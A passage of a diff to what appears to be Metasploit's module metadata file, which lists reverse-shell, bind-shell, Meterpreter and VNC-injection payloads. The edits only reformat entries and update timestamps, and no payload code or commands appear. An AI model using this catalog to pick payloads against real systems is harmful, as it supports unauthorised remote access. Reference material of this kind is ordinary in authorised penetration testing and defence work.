"aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -242057,8 +243589,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -242071,9 +243602,7 @@ "payload_cmd/windows/tftp/x64/vncinject/bind_tcp": { "name": "TFTP Fetch, Windows x64 Bind TCP Stager", "fullname": "payload/cmd/windows/tftp/x64/vncinject/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -242099,8 +243628,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -242113,9 +243641,7 @@ "payload_cmd/windows/tftp/x64/vncinject/bind_tcp_rc4": { "name": "TFTP Fetch, Bind TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/cmd/windows/tftp/x64/vncinject/bind_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -242146,8 +243672,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -242160,9 +243685,7 @@ "payload_cmd/windows/tftp/x64/vncinject/bind_tcp_uuid": { "name": "TFTP Fetch, Bind TCP Stager with UUID Support (Windows x64)", "fullname": "payload/cmd/windows/tftp/x64/vncinject/bind_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -242189,8 +243712,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -242203,9 +243725,7 @@ "payload_cmd/windows/tftp/x64/vncinject/reverse_http": { "name": "TFTP Fetch, Windows x64 Reverse HTTP Stager (wininet)", "fullname": "payload/cmd/windows/tftp/x64/vncinject/reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -242232,8 +243752,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -242246,9 +243765,7 @@ "payload_cmd/windows/tftp/x64/vncinject/reverse_https": { "name": "TFTP Fetch, Windows x64 Reverse HTTP Stager (wininet)", "fullname": "payload/cmd/windows/tftp/x64/vncinject/reverse_https", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -242277,8 +243794,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -242291,9 +243807,7 @@ "payload_cmd/windows/tftp/x64/vncinject/reverse_tcp": { "name": "TFTP Fetch, Windows x64 Reverse TCP Stager", "fullname": "payload/cmd/windows/tftp/x64/vncinject/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -242319,8 +243833,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -242333,9 +243846,7 @@ "payload_cmd/windows/tftp/x64/vncinject/reverse_tcp_rc4": { "name": "TFTP Fetch, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/cmd/windows/tftp/x64/vncinject/reverse_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -242366,8 +243877,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -242380,9 +243890,7 @@ "payload_cmd/windows/tftp/x64/vncinject/reverse_tcp_uuid": { "name": "TFTP Fetch, Reverse TCP Stager with UUID Support (Windows x64)", "fullname": "payload/cmd/windows/tftp/x64/vncinject/reverse_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -242409,8 +243917,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -242423,9 +243930,7 @@ "payload_cmd/windows/tftp/x64/vncinject/reverse_winhttp": { "name": "TFTP Fetch, Windows x64 Reverse HTTP Stager (winhttp)", "fullname": "payload/cmd/windows/tftp/x64/vncinject/reverse_winhttp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -242452,8 +243957,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -242466,9 +243970,7 @@ "payload_cmd/windows/tftp/x64/vncinject/reverse_winhttps": { "name": "TFTP Fetch, Windows x64 Reverse HTTPS Stager (winhttp)", "fullname": "payload/cmd/windows/tftp/x64/vncinject/reverse_winhttps", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -242495,8 +243997,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -242509,34 +244010,29 @@ "payload_firefox/exec": { "name": "Firefox XPCOM Execute Command", "fullname": "payload/firefox/exec", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", "author": [ "joev " ], - "description": "This module runs a shell command on the target OS without touching the disk.\n On Windows, this command will flash the command prompt momentarily.\n This can be avoided by setting WSCRIPT to true, which drops a jscript\n \"launcher\" to disk that hides the prompt.", - "references": [ - - ], + "description": "This module runs a shell command on the target OS without touching the disk.\n On Windows, this command will flash the command prompt momentarily.\n This can be avoided by setting WSCRIPT to true, which drops a jscript\n \"launcher\" to disk that hides the prompt.", + "references": [], "platform": "Firefox", "arch": "firefox", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-04 00:33:03 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/firefox/exec.rb", "is_install_path": true, "ref_name": "firefox/exec", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -242545,9 +244041,7 @@ "payload_firefox/shell_bind_tcp": { "name": "Command Shell, Bind TCP (via Firefox XPCOM script)", "fullname": "payload/firefox/shell_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -242555,24 +244049,21 @@ "joev " ], "description": "Creates an interactive shell via Javascript with access to Firefox's XPCOM API", - "references": [ - - ], + "references": [], "platform": "Firefox", "arch": "firefox", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-04 00:33:03 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/firefox/shell_bind_tcp.rb", "is_install_path": true, "ref_name": "firefox/shell_bind_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -242581,9 +244072,7 @@ "payload_firefox/shell_reverse_tcp": { "name": "Command Shell, Reverse TCP (via Firefox XPCOM script)", "fullname": "payload/firefox/shell_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -242591,24 +244080,21 @@ "joev " ], "description": "Creates an interactive shell via Javascript with access to Firefox's XPCOM API", - "references": [ - - ], + "references": [], "platform": "Firefox", "arch": "firefox", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-04 00:33:03 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/firefox/shell_reverse_tcp.rb", "is_install_path": true, "ref_name": "firefox/shell_reverse_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -242617,34 +244103,29 @@ "payload_generic/custom": { "name": "Custom Payload", "fullname": "payload/generic/custom", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", "author": [ "scriptjunkie " ], - "description": "Use custom string or file as payload. Set either PAYLOADFILE or\n PAYLOADSTR.", - "references": [ - - ], + "description": "Use custom string or file as payload. Set either PAYLOADFILE or\n PAYLOADSTR.", + "references": [], "platform": "All", "arch": "x86, x86_64, x64, mips, mipsle, mipsbe, mips64, mips64le, ppc, ppce500v2, ppc64, ppc64le, cbea, cbea64, sparc, sparc64, armle, armbe, aarch64, cmd, php, java, ruby, dalvik, python, nodejs, firefox, zarch, r, riscv32be, riscv32le, riscv64be, riscv64le, loongarch64", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-04 00:33:03 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/generic/custom.rb", "is_install_path": true, "ref_name": "generic/custom", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -242653,9 +244134,7 @@ "payload_generic/debug_trap": { "name": "Generic x86 Debug Trap", "fullname": "payload/generic/debug_trap", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -242663,24 +244142,21 @@ "robert " ], "description": "Generate a debug trap in the target process", - "references": [ - - ], + "references": [], "platform": "BSD,BSDi,Linux,OSX,Solaris,Windows", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/generic/debug_trap.rb", "is_install_path": true, "ref_name": "generic/debug_trap", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -242689,9 +244165,7 @@ "payload_generic/shell_bind_aws_ssm": { "name": "Command Shell, Bind SSM (via AWS API)", "fullname": "payload/generic/shell_bind_aws_ssm", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -242715,8 +244189,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -242725,9 +244198,7 @@ "payload_generic/shell_bind_tcp": { "name": "Generic Command Shell, Bind TCP Inline", "fullname": "payload/generic/shell_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -242735,24 +244206,21 @@ "skape " ], "description": "Listen for a connection and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "All", "arch": "x86, x86_64, x64, mips, mipsle, mipsbe, mips64, mips64le, ppc, ppce500v2, ppc64, ppc64le, cbea, cbea64, sparc, sparc64, armle, armbe, aarch64, cmd, php, java, ruby, dalvik, python, nodejs, firefox, zarch, r, riscv32be, riscv32le, riscv64be, riscv64le, loongarch64", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/generic/shell_bind_tcp.rb", "is_install_path": true, "ref_name": "generic/shell_bind_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -242761,9 +244229,7 @@ "payload_generic/shell_reverse_tcp": { "name": "Generic Command Shell, Reverse TCP Inline", "fullname": "payload/generic/shell_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -242771,24 +244237,21 @@ "skape " ], "description": "Connect back to attacker and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "All", "arch": "x86, x86_64, x64, mips, mipsle, mipsbe, mips64, mips64le, ppc, ppce500v2, ppc64, ppc64le, cbea, cbea64, sparc, sparc64, armle, armbe, aarch64, cmd, php, java, ruby, dalvik, python, nodejs, firefox, zarch, r, riscv32be, riscv32le, riscv64be, riscv64le, loongarch64", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/generic/shell_reverse_tcp.rb", "is_install_path": true, "ref_name": "generic/shell_reverse_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -242797,9 +244260,7 @@ "payload_generic/ssh/interact": { "name": "Interact with Established SSH Connection", "fullname": "payload/generic/ssh/interact", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -242807,9 +244268,7 @@ "Spencer McIntyre" ], "description": "Interacts with a shell on an established SSH connection", - "references": [ - - ], + "references": [], "platform": "All", "arch": "x86, x86_64, x64, mips, mipsle, mipsbe, mips64, mips64le, ppc, ppce500v2, ppc64, ppc64le, cbea, cbea64, sparc, sparc64, armle, armbe, aarch64, cmd, php, tty, java, ruby, dalvik, python, nodejs, firefox, zarch, r, riscv32be, riscv32le, riscv64be, riscv64le, loongarch64", "rport": null, @@ -242823,8 +244282,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -242833,9 +244291,7 @@ "payload_generic/tight_loop": { "name": "Generic x86 Tight Loop", "fullname": "payload/generic/tight_loop", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -242843,24 +244299,21 @@ "jduck " ], "description": "Generate a tight loop in the target process", - "references": [ - - ], + "references": [], "platform": "BSD,BSDi,Linux,OSX,Solaris,Windows", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/generic/tight_loop.rb", "is_install_path": true, "ref_name": "generic/tight_loop", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -242869,9 +244322,7 @@ "payload_java/jsp_shell_bind_tcp": { "name": "Java JSP Command Shell, Bind TCP Inline", "fullname": "payload/java/jsp_shell_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -242879,24 +244330,21 @@ "sf " ], "description": "Listen for a connection and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "Linux,OSX,Solaris,Unix,Windows", "arch": "java", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-04 00:33:03 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/java/jsp_shell_bind_tcp.rb", "is_install_path": true, "ref_name": "java/jsp_shell_bind_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -242905,9 +244353,7 @@ "payload_java/jsp_shell_reverse_tcp": { "name": "Java JSP Command Shell, Reverse TCP Inline", "fullname": "payload/java/jsp_shell_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -242915,24 +244361,21 @@ "sf " ], "description": "Connect back to attacker and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "Linux,OSX,Solaris,Unix,Windows", "arch": "java", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-04 00:33:03 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/java/jsp_shell_reverse_tcp.rb", "is_install_path": true, "ref_name": "java/jsp_shell_reverse_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -242941,9 +244384,7 @@ "payload_java/meterpreter/bind_tcp": { "name": "Java Meterpreter, Java Bind TCP Stager", "fullname": "payload/java/meterpreter/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -242953,24 +244394,21 @@ "OJ Reeves" ], "description": "Run a meterpreter server in Java.\n\nListen for a connection", - "references": [ - - ], + "references": [], "platform": "Java", "arch": "java", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-09-27 11:20:17 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/java/bind_tcp.rb", "is_install_path": true, "ref_name": "java/meterpreter/bind_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -242981,9 +244419,7 @@ "payload_java/meterpreter/reverse_http": { "name": "Java Meterpreter, Java Reverse HTTP Stager", "fullname": "payload/java/meterpreter/reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -242994,24 +244430,21 @@ "hdm " ], "description": "Run a meterpreter server in Java.\n\nTunnel communication over HTTP", - "references": [ - - ], + "references": [], "platform": "Java", "arch": "java", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-08-09 13:13:15 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/java/reverse_http.rb", "is_install_path": true, "ref_name": "java/meterpreter/reverse_http", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -243022,9 +244455,7 @@ "payload_java/meterpreter/reverse_https": { "name": "Java Meterpreter, Java Reverse HTTPS Stager", "fullname": "payload/java/meterpreter/reverse_https", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -243035,24 +244466,21 @@ "hdm " ], "description": "Run a meterpreter server in Java.\n\nTunnel communication over HTTPS", - "references": [ - - ], + "references": [], "platform": "Java", "arch": "java", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-08-09 13:13:15 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/java/reverse_https.rb", "is_install_path": true, "ref_name": "java/meterpreter/reverse_https", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -243063,9 +244491,7 @@ "payload_java/meterpreter/reverse_tcp": { "name": "Java Meterpreter, Java Reverse TCP Stager", "fullname": "payload/java/meterpreter/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -243075,24 +244501,21 @@ "OJ Reeves" ], "description": "Run a meterpreter server in Java.\n\nConnect back stager", - "references": [ - - ], + "references": [], "platform": "Java", "arch": "java", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-09-27 11:20:17 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/java/reverse_tcp.rb", "is_install_path": true, "ref_name": "java/meterpreter/reverse_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -243103,9 +244526,7 @@ "payload_java/shell/bind_tcp": { "name": "Command Shell, Java Bind TCP Stager", "fullname": "payload/java/shell/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -243114,24 +244535,21 @@ "egypt " ], "description": "Spawn a piped command shell (cmd.exe on Windows, /bin/sh everywhere else).\n\nListen for a connection", - "references": [ - - ], + "references": [], "platform": "Java", "arch": "java", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-09-27 11:20:17 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/java/bind_tcp.rb", "is_install_path": true, "ref_name": "java/shell/bind_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -243142,9 +244560,7 @@ "payload_java/shell/reverse_tcp": { "name": "Command Shell, Java Reverse TCP Stager", "fullname": "payload/java/shell/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -243153,24 +244569,21 @@ "egypt " ], "description": "Spawn a piped command shell (cmd.exe on Windows, /bin/sh everywhere else).\n\nConnect back stager", - "references": [ - - ], + "references": [], "platform": "Java", "arch": "java", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-09-27 11:20:17 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/java/reverse_tcp.rb", "is_install_path": true, "ref_name": "java/shell/reverse_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -243181,9 +244594,7 @@ "payload_java/shell_reverse_tcp": { "name": "Java Command Shell, Reverse TCP Inline", "fullname": "payload/java/shell_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -243192,24 +244603,21 @@ "egypt " ], "description": "Connect back to attacker and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "Java", "arch": "java", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-09-27 11:20:17 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/java/shell_reverse_tcp.rb", "is_install_path": true, "ref_name": "java/shell_reverse_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -243218,9 +244626,7 @@ "payload_linux/aarch64/meterpreter/reverse_tcp": { "name": "Linux Meterpreter, Reverse TCP Stager", "fullname": "payload/linux/aarch64/meterpreter/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -243228,24 +244634,21 @@ "Adam Cammack " ], "description": "Inject the mettle server payload (staged).\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "aarch64", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2025-02-12 13:40:34 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/linux/aarch64/reverse_tcp.rb", "is_install_path": true, "ref_name": "linux/aarch64/meterpreter/reverse_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -243256,9 +244659,7 @@ "payload_linux/aarch64/meterpreter_reverse_http": { "name": "Linux Meterpreter, Reverse HTTP Inline", "fullname": "payload/linux/aarch64/meterpreter_reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -243268,24 +244669,21 @@ "timwr" ], "description": "Run the Meterpreter / Mettle server payload (stageless)", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "aarch64", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-07-16 11:47:14 +0000", + "mod_time": "2025-05-19 12:03:14 +0000", "path": "/modules/payloads/singles/linux/aarch64/meterpreter_reverse_http.rb", "is_install_path": true, "ref_name": "linux/aarch64/meterpreter_reverse_http", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -243294,9 +244692,7 @@ "payload_linux/aarch64/meterpreter_reverse_https": { "name": "Linux Meterpreter, Reverse HTTPS Inline", "fullname": "payload/linux/aarch64/meterpreter_reverse_https", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -243306,24 +244702,21 @@ "timwr" ], "description": "Run the Meterpreter / Mettle server payload (stageless)", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "aarch64", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-07-16 11:47:14 +0000", + "mod_time": "2025-05-19 12:03:14 +0000", "path": "/modules/payloads/singles/linux/aarch64/meterpreter_reverse_https.rb", "is_install_path": true, "ref_name": "linux/aarch64/meterpreter_reverse_https", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -243332,9 +244725,7 @@ "payload_linux/aarch64/meterpreter_reverse_tcp": { "name": "Linux Meterpreter, Reverse TCP Inline", "fullname": "payload/linux/aarch64/meterpreter_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -243344,24 +244735,21 @@ "timwr" ], "description": "Run the Meterpreter / Mettle server payload (stageless)", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "aarch64", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-07-16 11:47:14 +0000", + "mod_time": "2025-05-19 12:03:14 +0000", "path": "/modules/payloads/singles/linux/aarch64/meterpreter_reverse_tcp.rb", "is_install_path": true, "ref_name": "linux/aarch64/meterpreter_reverse_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -243370,34 +244758,27 @@ "payload_linux/aarch64/shell/reverse_tcp": { "name": "Linux dup2 Command Shell, Reverse TCP Stager", "fullname": "payload/linux/aarch64/shell/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", - "author": [ - - ], + "author": [], "description": "dup2 socket in x12, then execve.\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "aarch64", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2025-02-12 13:40:34 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/linux/aarch64/reverse_tcp.rb", "is_install_path": true, "ref_name": "linux/aarch64/shell/reverse_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -243408,34 +244789,27 @@ "payload_linux/aarch64/shell_reverse_tcp": { "name": "Linux Command Shell, Reverse TCP Inline", "fullname": "payload/linux/aarch64/shell_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", - "author": [ - - ], + "author": [], "description": "Connect back to attacker and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "aarch64", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-12-20 10:18:25 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/linux/aarch64/shell_reverse_tcp.rb", "is_install_path": true, "ref_name": "linux/aarch64/shell_reverse_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -243444,9 +244818,7 @@ "payload_linux/armbe/meterpreter_reverse_http": { "name": "Linux Meterpreter, Reverse HTTP Inline", "fullname": "payload/linux/armbe/meterpreter_reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -243456,24 +244828,21 @@ "timwr" ], "description": "Run the Meterpreter / Mettle server payload (stageless)", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "armbe", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-10-14 15:43:40 +0000", + "mod_time": "2025-05-19 12:03:14 +0000", "path": "/modules/payloads/singles/linux/armbe/meterpreter_reverse_http.rb", "is_install_path": true, "ref_name": "linux/armbe/meterpreter_reverse_http", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -243482,9 +244851,7 @@ "payload_linux/armbe/meterpreter_reverse_https": { "name": "Linux Meterpreter, Reverse HTTPS Inline", "fullname": "payload/linux/armbe/meterpreter_reverse_https", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -243494,24 +244861,21 @@ "timwr" ], "description": "Run the Meterpreter / Mettle server payload (stageless)", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "armbe", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-10-14 15:43:40 +0000", + "mod_time": "2025-05-19 12:03:14 +0000", "path": "/modules/payloads/singles/linux/armbe/meterpreter_reverse_https.rb", "is_install_path": true, "ref_name": "linux/armbe/meterpreter_reverse_https", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -243520,9 +244884,7 @@ "payload_linux/armbe/meterpreter_reverse_tcp": { "name": "Linux Meterpreter, Reverse TCP Inline", "fullname": "payload/linux/armbe/meterpreter_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -243532,24 +244894,21 @@ "timwr" ], "description": "Run the Meterpreter / Mettle server payload (stageless)", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "armbe", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-10-14 15:43:40 +0000", + "mod_time": "2025-05-19 12:03:14 +0000", "path": 